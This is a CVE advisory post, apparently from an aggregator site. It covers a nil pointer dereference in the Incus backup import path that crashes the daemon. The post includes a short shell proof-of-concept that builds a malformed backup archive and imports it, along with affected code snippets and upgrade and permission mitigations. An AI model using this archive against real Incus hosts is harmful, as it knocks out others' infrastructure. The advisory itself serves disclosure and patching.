Listen to this Post
The vulnerability arises due to insufficient validation in Incus’s backup restore subsystem. When importing a backup archive, the `backup.GetInfo()` function trusts the inline `backup/index.yaml` configuration if present, bypassing the fallback to the legacy `backup/container/backup.yaml` file. An attacker can craft an archive containing a valid inline config (to pass initial checks) alongside a malformed legacy `backup.yaml` that lacks the required `container` section. After the archive is unpacked, the legacy file is extracted to the instance volume and later reparsed via ParseConfigYamlFile(), which accepts YAML documents missing the `container` section. This results in a `nil` pointer for backup.Container. Subsequently, functions such as `backup.UpdateInstanceConfig()` and `internalImportFromBackup()` dereference this `nil` pointer while accessing fields like `backup.Container.Devices` or backup.Container.ExpandedDevices, causing a runtime panic and crashing the Incus daemon. The flaw is confirmed through a Go test that triggers a nil-pointer dereference when the extracted `backup.yaml` contains no `container` section. The issue is fixed in Incus version 7.0.0 by adding a validation check that rejects any backup where the `container` struct is missing.
dailycve form:
Platform: Incus
Version: <7.0.0
Vulnerability: Nil pointer dereference
Severity: Medium
date: 2026-05-04
Prediction: 2026-06-04
What Undercode Say:
Create a malicious backup archive
mkdir -p backup/container
cat > backup/index.yaml <<EOF
config:
container:
name: victim
devices: {}
EOF
cat > backup/container/backup.yaml <<EOF
Intentionally empty – no "container" section
EOF
tar czf poc_backup.tar.gz backup/
Import the archive (requires authenticated user with backup import permissions)
incus import backup poc_backup.tar.gz
Affected source code patterns:
// backup.GetInfo() trusts inline config
if hdr.Name == backupIndexPath {
err = yaml.NewDecoder(tr).Decode(&result)
}
// ParseConfigYamlFile() accepts empty YAML
func ParseConfigYamlFile(path string) (config.Config, error) {
var backupConf config.Config
err := yaml.Unmarshal(data, &backupConf)
// backupConf.Container may be nil
}
// UpdateInstanceConfig() dereferences nil pointer
if backup.Container != nil {
// ...
}
if updateRootDevicePool(backup.Container.Devices, pool.Name) { // panic
// ...
}
Exploit:
An authenticated user with permission to import instance backups crafts an archive where `backup/index.yaml` is valid but `backup/container/backup.yaml` omits the `container` section. Upon import, the daemon crashes during the restore phase after extraction has begun, leading to a denial of service.
Protection from this CVE
- Upgrade to Incus version 7.0.0 or later, which includes validation checks for the `container` section.
- Restrict backup import permissions to trusted users only.
- Apply the official patch from https://github.com/lxc/incus/releases/tag/v7.0.0.
Impact
- Denial of service (DoS) of the Incus daemon.
- Repeated exploitation can keep the control plane offline.
- No data loss or unauthorized access; only availability is affected.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
